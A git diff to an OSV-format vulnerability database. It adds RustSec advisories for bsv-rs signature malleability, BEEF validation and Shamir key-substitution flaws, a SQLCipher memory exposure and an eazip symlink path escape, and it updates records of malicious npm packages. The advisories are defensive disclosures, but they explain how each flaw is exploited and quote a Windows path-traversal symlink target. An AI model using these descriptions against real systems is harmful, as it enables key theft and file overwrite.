+{"schema_version":"1.9.2","id":"RUSTSEC-2026-0499","published":"2026-11-11T12:00:00Z","modified":"2026-11-12T08:00:03.174055285Z","aliases":["GHSA-9c8r-76f3-m426"],"summary":"Signature::from_der reads a signature with bytes after it, a wrong sequence length or an unneeded zero as the signature","details":"`Signature::from_der` read a DER-encoded ECDSA signature leniently. It read as\nthe signature: the signature followed by other bytes; a sequence length\nshorter than its contents, or longer with bytes after them (a length byte with\nits high bit set among them); and an R or S preceded by a zero byte it did not\nneed. It read a lone-zero R or S as zero.\n\n`messages::verify`, `compat::bsm::verify_message_der`,\n`auth::Certificate::verify`, `auth::VerifiableCertificate::verify`,\n`wallet::ProtoWallet::verify_signature` and\n`kvstore::KVStoreInterpreter::verify_signature` read through it, and each\nverified such a form of a valid signature. Given one signature a key holder\nmade, anyone could produce other byte strings that verify as that signature\nover the same data. No form verifies over other data: an application that acts\non the verdict alone is not affected; one that compares, hashes or stores a\nsignature's bytes is.\n\n0.8.6 refuses each form as `Error::InvalidSignature`. A signature's bytes are\nstill not unique after the patch: the same signature with S replaced by n - S\nverifies, so an application that keys on the bytes also requires\n`Signature::is_low_s()`.","affected":[{"package":{"name":"bsv-rs","ecosystem":"crates.io","purl":"pkg:cargo/bsv-rs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.8.6"},{"introduced":"0.9.0-beta.1"},{"fixed":"0.9.0-beta.7.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["bsv_rs::auth::Certificate::verify","bsv_rs::auth::VerifiableCertificate::verify","bsv_rs::auth::utils::validate_certificate_encoding","bsv_rs::compat::bsm::verify_message_der","bsv_rs::kvstore::KVStoreInterpreter::verify_signature","bsv_rs::messages::verify","bsv_rs::primitives::bsv::TransactionSignature::from_checksig_format","bsv_rs::primitives::ec::Signature::from_der","bsv_rs::wallet::ProtoWallet::verify_signature"],"os":[]}},"database_specific":{"categories":["crypto-failure"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0499.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/bsv-rs"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0499.html"},{"type":"WEB","url":"https://github.com/Calhooon/bsv-rs/blob/v0.8.6/CHANGELOG.md"},{"type":"REPORT","url":"https://github.com/Calhooon/bsv-rs/issues/842"},{"type":"WEB","url":"https://github.com/Calhooon/bsv-rs/pull/846"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0500.json b/data/crates.io/RUSTSEC-2026-0500.json new file mode 100644 index 0000000000..ebc80bc151 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0500.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0500","published":"2026-11-10T12:00:00Z","modified":"2026-11-12T08:11:08.643204332Z","aliases":["GHSA-j8hr-pjhm-6h27","RUSTSEC-2026-0498"],"summary":"BEEF validation answers valid for a raw entry that is not a transaction","details":"`Beef::merge_raw_tx` and `BeefTx::from_raw_tx` accept raw bytes without a\n`Result`. For bytes that are not exactly one transaction (a transaction\nfollowed by bytes, a cut transaction, bytes that are no transaction at all),\n`Beef::sort_txs`, `verify_structure`, `verify_valid` and `is_valid` could\nanswer valid, even with no BUMP and no parent in the BEEF, and, where the entry\ncarried a BUMP index, treat the hash of those bytes as a proven transaction id;\nan entry that names it as a parent was answered valid too.\n\nThe wire readers (`Beef::from_binary`, `verify_stream`,\n`Transaction::from_beef`, `from_atomic_beef`) parse every entry and are not\naffected. Reaching this needs an application that passes bytes it did not\nparse to `merge_raw_tx` or `BeefTx::from_raw_tx` and then relies on the verdict\nor on the transaction the BEEF hands back.\n\n0.8.5 refuses such an entry at all four verdict doors, with or without a BUMP\nindex, and every entry that names it as a parent. Where upgrading is not\npossible, do not rely on `is_valid` or `verify_valid` alone for such an entry:\ncheck that the bytes are exactly one transaction before merging them.","affected":[{"package":{"name":"bsv-rs","ecosystem":"crates.io","purl":"pkg:cargo/bsv-rs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.8.5"},{"introduced":"0.9.0-beta.1"},{"fixed":"0.9.0-beta.7.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["bsv_rs::transaction::Beef::find_atomic_transaction","bsv_rs::transaction::Beef::find_transaction_for_signing","bsv_rs::transaction::Beef::is_valid","bsv_rs::transaction::Beef::merge_raw_tx","bsv_rs::transaction::Beef::sort_txs","bsv_rs::transaction::Beef::verify_structure","bsv_rs::transaction::Beef::verify_valid","bsv_rs::transaction::BeefTx::from_raw_tx"],"os":[]}},"database_specific":{"categories":["crypto-failure"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0500.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/bsv-rs"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0500.html"},{"type":"WEB","url":"https://github.com/Calhooon/bsv-rs/blob/v0.8.5/CHANGELOG.md"},{"type":"WEB","url":"https://github.com/Calhooon/bsv-rs/pull/852"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0501.json b/data/crates.io/RUSTSEC-2026-0501.json new file mode 100644 index 0000000000..bf8f00cfaa --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0501.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0501","published":"2026-11-12T12:00:00Z","modified":"2026-11-12T08:00:03.177054767Z","aliases":["GHSA-cwxv-4866-5gq2"],"summary":"Shamir backup recovery accepts a share at x = 0, so a supplied share can substitute the recovered private key","details":"`KeyShares::from_backup_format` (the Shamir backup share reader, public since\n0.2.0, the crate's first release) accepted a share whose x coordinate is 0,\nand `KeyShares::recover_private_key` interpolates the shares at x = 0 to\nrecover the key. At an x of 0 the interpolation answers that share's y value\nalone, so an attacker who supplies one share in that form — with the share's\nintegrity tag ground to match the honest set's — chooses the recovered key\noutright. The non-canonical zero x = p works the same way, and a repeated x\npast the threshold window also passed.\n\nAn application that recovers a Shamir backup from shares it did not produce —\na custodian's medium, a share pasted by hand, a set restored from another\nwriter — could be handed the attacker's key as the recovered one. A set the\ncrate's own writer produces never carries such a share; the door is the\nreader.\n\n0.8.7 refuses such a set before interpolating (the 0.9 line's next prerelease\ncarries the same refusal). Where upgrading is not possible, before recovering\nsplit each share on `.` into four fields, base58-decode the x field, and\nrefuse the set if it decodes to zero (the one-character field `1`, or a value\nat or above the field prime) or if two shares carry the same x.","affected":[{"package":{"name":"bsv-rs","ecosystem":"crates.io","purl":"pkg:cargo/bsv-rs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.8.7"},{"introduced":"0.9.0-beta.1"},{"fixed":"0.9.0-beta.7.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["bsv_rs::primitives::bsv::shamir::KeyShares::from_backup_format","bsv_rs::primitives::bsv::shamir::KeyShares::recover_private_key"],"os":[]}},"database_specific":{"categories":["crypto-failure"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0501.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/bsv-rs"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0501.html"},{"type":"WEB","url":"https://github.com/Calhooon/bsv-rs/blob/v0.8.7/CHANGELOG.md"},{"type":"REPORT","url":"https://github.com/Calhooon/bsv-rs/issues/854"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0502.json b/data/crates.io/RUSTSEC-2026-0502.json new file mode 100644 index 0000000000..e2cfc5cf94 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0502.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0502","published":"2026-10-30T12:00:00Z","modified":"2026-11-12T08:11:00.097392529Z","aliases":["CVE-2026-119375","GHSA-72w2-rjgg-q729","RUSTSEC-2026-0459"],"summary":"`sqlcipher-src` via C SQLite CVE-2026-119375","details":"SQLite versions before 3.54.0 can return uninitialized page-cache memory when a process opens a database file together with a sibling write-ahead-log (`-wal`) file whose page size differs from the database's. A crafted pair of files can make ordinary queries return stale bytes from the process's memory. The attack vector is local and needs the victim to open the files.\n\n`sqlcipher-src` ships the SQLCipher amalgamation (SQLCipher is built on SQLite and contains the same `sqlite3WalReadFrame` code) for `-sys` crates to compile, so a build that uses it is susceptible to the vulnerability. The releases `419.0.3` to `419.0.6` bundle SQLCipher `4.19.0` on SQLite `3.53.4` and are affected. `sqlcipher-src` was updated in `420.0.0` (SQLCipher `4.20.0` on SQLite `3.54.1`), which contains the fix. The releases `0.1.0` and `0.1.1` contain no SQLCipher source. `libsqlite3-sys` `0.39.0` and `0.39.1` depend on `sqlcipher-src =419.0.6` for their `bundled-sqlcipher` feature.\n\nOnly a process that opens a database file, with its `-wal`, that a less trusted party could have written is exposed.","affected":[{"package":{"name":"sqlcipher-src","ecosystem":"crates.io","purl":"pkg:cargo/sqlcipher-src"},"ranges":[{"type":"SEMVER","events":[{"introduced":"419.0.3"},{"fixed":"420.0.0"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["memory-exposure"],"cvss":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0502.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/sqlcipher-src"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0502.html"},{"type":"WEB","url":"https://sqlite.org/bugs/info/2026-08-17T15:54:41Z"},{"type":"WEB","url":"https://github.com/sqlite/sqlite/commit/e5bf119821f25be1d7f10ef0a2edbe175289166e"},{"type":"WEB","url":"https://sqlite.org/releaselog/3_54_0.html"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0503.json b/data/crates.io/RUSTSEC-2026-0503.json new file mode 100644 index 0000000000..03cb7d1051 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0503.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0503","published":"2026-11-07T12:00:00Z","modified":"2026-11-12T08:00:03.177054765Z","summary":"eazip: symlink-target validation checks the wrong argument, allowing extraction path escapes on Windows","details":"When extracting archives, `eazip` validates symlink entries before writing\nthem. The validation function `validate_symlink()` (`src/utils/mod.rs`) scans\nfor backslash and NUL bytes, but passes the symlink's *name* where the\nsymlink's *target* was intended:\n\n```rust\nmemchr2(b'\\\\', b'\\0', name.as_bytes()) // should be target.as_bytes()\n```\n\nAs a result, symlink *targets* containing backslash or NUL bytes pass\nvalidation. On Windows, backslash is a path separator, so targets such as\n`..\\..\\..\\Windows\\system32\\evil.exe` also defeat the remaining depth check,\nwhich splits on `/` only. A crafted archive can therefore create symlinks\nthat resolve outside the extraction directory — including UNC targets such as\n`\\\\host\\share\\...` — redirecting writes to arbitrary filesystem locations\nchosen by the attacker.\n\nApplications that extract untrusted archives with `eazip` on Windows targets\nare affected; on Unix targets backslash is not a separator, which limits\nexposure there.\n\nThe vulnerability was introduced in version 0.2.5 and fixed in 0.2.7\n([a1phyr/eazip@0e4caa13](https://github.com/a1phyr/eazip/commit/0e4caa13d59f5ba15aaac332f5534260c3b8fc43)),\nwhich rejects backslash and NUL bytes in the symlink target. It was\nprivately reported to the maintainer on 2026-11-06 and credited in the\n0.2.7 release notes.","affected":[{"package":{"name":"eazip","ecosystem":"crates.io","purl":"pkg:cargo/eazip"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.2.5"},{"fixed":"0.2.7"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0503.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/eazip"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0503.html"},{"type":"WEB","url":"https://github.com/a1phyr/eazip/releases/tag/v0.2.7"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/npm/MAL-2026-19118.json b/data/npm/MAL-2026-19118.json index d8fb8b1e6f..c6e7132369 100644 --- a/data/npm/MAL-2026-19118.json +++ b/data/npm/MAL-2026-19118.json @@ -1 +1 @@ -{"schema_version":"1.9.2","id":"MAL-2026-19118","published":"2026-11-11T12:09:02Z","modified":"2026-11-11T15:30:05.177728839Z","aliases":["GHSA-9j97-6pqr-qvrx"],"summary":"Malicious code in 0sec-cli (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (6ca0694213fab27d0292d43aee954b81c13e551a81563903fb9afd7e54a9dda2)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"0sec-cli","ecosystem":"npm","purl":"pkg:npm/0sec-cli"},"versions":["0.28.10","0.28.9"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/0sec-cli/MAL-2026-19118.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9j97-6pqr-qvrx"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-11T12:23:59.195275939Z","modified_time":"2026-11-11T12:09:02Z","sha256":"6ca0694213fab27d0292d43aee954b81c13e551a81563903fb9afd7e54a9dda2","source":"ghsa-malware","versions":["0.28.10"]},{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-11T15:16:49.600626562Z","modified_time":"2026-11-11T14:53:13Z","sha256":"3c30d9423f714d9676d95618695bba34bd3a5f438a675f388502a9697790ec0b","source":"ghsa-malware","versions":["0.28.9","0.28.10"]}]}} \ No newline at end of file +{"schema_version":"1.9.2","id":"MAL-2026-19118","published":"2026-11-11T12:09:02Z","modified":"2026-11-12T12:30:04.699349368Z","aliases":["GHSA-9j97-6pqr-qvrx"],"summary":"Malicious code in 0sec-cli (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (6ca0694213fab27d0292d43aee954b81c13e551a81563903fb9afd7e54a9dda2)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"0sec-cli","ecosystem":"npm","purl":"pkg:npm/0sec-cli"},"versions":["0.28.10","0.28.9","0.28.6","0.22.1","0.23.0","0.24.0","0.28.4","0.28.7","0.22.4","0.28.5","0.27.0","0.28.2","0.24.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/0sec-cli/MAL-2026-19118.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-9j97-6pqr-qvrx"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-11T12:23:59.195275939Z","modified_time":"2026-11-11T12:09:02Z","sha256":"6ca0694213fab27d0292d43aee954b81c13e551a81563903fb9afd7e54a9dda2","source":"ghsa-malware","versions":["0.28.10"]},{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-11T15:16:49.600626562Z","modified_time":"2026-11-11T14:53:13Z","sha256":"3c30d9423f714d9676d95618695bba34bd3a5f438a675f388502a9697790ec0b","source":"ghsa-malware","versions":["0.28.9","0.28.10"]},{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-12T07:19:05.877618537Z","modified_time":"2026-11-12T07:10:56Z","sha256":"f275dc8e6d4566e50adf6d2cffec8ffa3624b7a9bba0cbde26cf3384db5f3903","source":"ghsa-malware","versions":["0.28.6","0.22.1","0.28.9","0.28.10"]},{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-12T08:21:35.209733724Z","modified_time":"2026-11-12T07:47:47Z","sha256":"292c4e99767738248dd6c2328c4c2ff0b3bd9b3b27c52084922a1e6429f82884","source":"ghsa-malware","versions":["0.23.0","0.28.6","0.22.1","0.28.9","0.28.10"]},{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-12T09:18:55.289695203Z","modified_time":"2026-11-12T09:11:37Z","sha256":"5cae6ae98f6726d0c3ccc5ad130e69329782c8f993cfa60deb480f57775e1139","source":"ghsa-malware","versions":["0.24.0","0.23.0","0.28.6","0.22.1","0.28.9","0.28.10"]},{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-12T10:17:57.015928178Z","modified_time":"2026-11-12T10:04:51Z","sha256":"32d9208952985cbb6790cf8df17d2a4fda17099b701d9520bcaa62fbee94f227","source":"ghsa-malware","versions":["0.28.4","0.28.7","0.24.0","0.23.0","0.28.6","0.22.1","0.28.9","0.28.10"]},{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-12T11:17:29.028107317Z","modified_time":"2026-11-12T10:30:35Z","sha256":"bc7f0ec5704330c53c51605745fceb1d5de5b3580e8c39490825476b1ea208d3","source":"ghsa-malware","versions":["0.22.4","0.28.5","0.27.0","0.28.4","0.28.7","0.24.0","0.23.0","0.28.6","0.22.1","0.28.9","0.28.10"]},{"id":"GHSA-9j97-6pqr-qvrx","import_time":"2026-11-12T12:24:44.217388939Z","modified_time":"2026-11-12T12:07:29Z","sha256":"a27c49b81499bc780ed1efb14130f56244a317f4653718328fcd3b0b240f2232","source":"ghsa-malware","versions":["0.28.2","0.24.1","0.22.4","0.28.5","0.27.0","0.28.4","0.28.7","0.24.0","0.23.0","0.28.6","0.22.1","0.28.9","0.28.10"]}]}} \ No newline at end of file diff --git a/data/npm/MAL-2026-19153.json b/data/npm/MAL-2026-19153.json new file mode 100644 index 0000000000..71a1dd3b0f --- /dev/null +++ b/data/npm/MAL-2026-19153.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-19153","published":"2026-11-12T11:33:05Z","modified":"2026-11-12T12:30:04.689981203Z","aliases":["GHSA-j3hx-5mxx-43qh"],"summary":"Malicious code in pdf-html5-page-flip (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: ghsa-malware (a3ff36ac8518eded0b7acb87f26ae3d704ff2924722ac2415450afc1ae32a869)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"pdf-html5-page-flip","ecosystem":"npm","purl":"pkg:npm/pdf-html5-page-flip"},"versions":["2.0.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/pdf-html5-page-flip/MAL-2026-19153.json"}}],"references":[{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j3hx-5mxx-43qh"}],"database_specific":{"malicious-packages-origins":[{"id":"GHSA-j3hx-5mxx-43qh","import_time":"2026-11-12T12:24:44.241787621Z","modified_time":"2026-11-12T11:33:05Z","sha256":"a3ff36ac8518eded0b7acb87f26ae3d704ff2924722ac2415450afc1ae32a869","source":"ghsa-malware","versions":["2.0.2"]}]}} \ No newline at end of file diff --git a/state/sync.json b/state/sync.json index 060177807f..89985b78c0 100644 --- a/state/sync.json +++ b/state/sync.json @@ -13,9 +13,9 @@ "records": 9947 }, "Maven": { - "etag": "\"6fbed40322e2ad6f43b25593d689832b\"", - "last_modified": "Tue, 10 Nov 2026 19:48:24 GMT", - "last_success": "2026-11-10T20:34:50.791582+00:00", + "etag": "\"4cd43a1d32a509b8235576c05df0aaed\"", + "last_modified": "Thu, 12 Nov 2026 11:03:18 GMT", + "last_success": "2026-11-12T12:43:39.072259+00:00", "records": 7257 }, "NuGet": { @@ -25,10 +25,10 @@ "records": 2010 }, "OSS-Fuzz": { - "etag": "\"6becd549ff0c3e8881d6c196a7310eaa\"", - "last_modified": "Wed, 11 Nov 2026 17:33:11 GMT", - "last_success": "2026-11-11T18:46:24.391220+00:00", - "records": 4291 + "etag": "\"91a6f6d16a348ebbba857e6163b37f18\"", + "last_modified": "Thu, 12 Nov 2026 12:33:25 GMT", + "last_success": "2026-11-12T12:43:46.822393+00:00", + "records": 4293 }, "Packagist": { "etag": "\"5fa84935cc3bee733e5885b82560c14e\"", @@ -37,9 +37,9 @@ "records": 7446 }, "PyPI": { - "etag": "\"c70e0d9e41bf3c78a7c79b8fd7eb2132\"", - "last_modified": "Thu, 12 Nov 2026 06:03:08 GMT", - "last_success": "2026-11-12T06:41:42.476455+00:00", + "etag": "\"b91b8f93f0f5a50b47d71b475b9cd5c1\"", + "last_modified": "Thu, 12 Nov 2026 06:48:13 GMT", + "last_success": "2026-11-12T12:41:42.574414+00:00", "records": 26863 }, "RubyGems": { @@ -49,16 +49,16 @@ "records": 5501 }, "crates.io": { - "etag": "\"5034d460b44c481025af03f84cfae50c\"", - "last_modified": "Wed, 11 Nov 2026 12:47:47 GMT", - "last_success": "2026-11-11T12:50:41.689284+00:00", - "records": 3093 + "etag": "\"de376e6e393e25a15f1ffffb10a19015\"", + "last_modified": "Thu, 12 Nov 2026 09:48:13 GMT", + "last_success": "2026-11-12T12:43:42.162979+00:00", + "records": 3106 }, "npm": { - "etag": "\"ae54884e55ff50c57f856ae360279bba\"", - "last_modified": "Thu, 12 Nov 2026 05:48:10 GMT", - "last_success": "2026-11-12T06:43:32.238475+00:00", - "records": 231700 + "etag": "\"accdf2b7975b2c47cac8122fd3be643a\"", + "last_modified": "Thu, 12 Nov 2026 12:33:30 GMT", + "last_success": "2026-11-12T12:43:33.169579+00:00", + "records": 231701 } }, "version": 1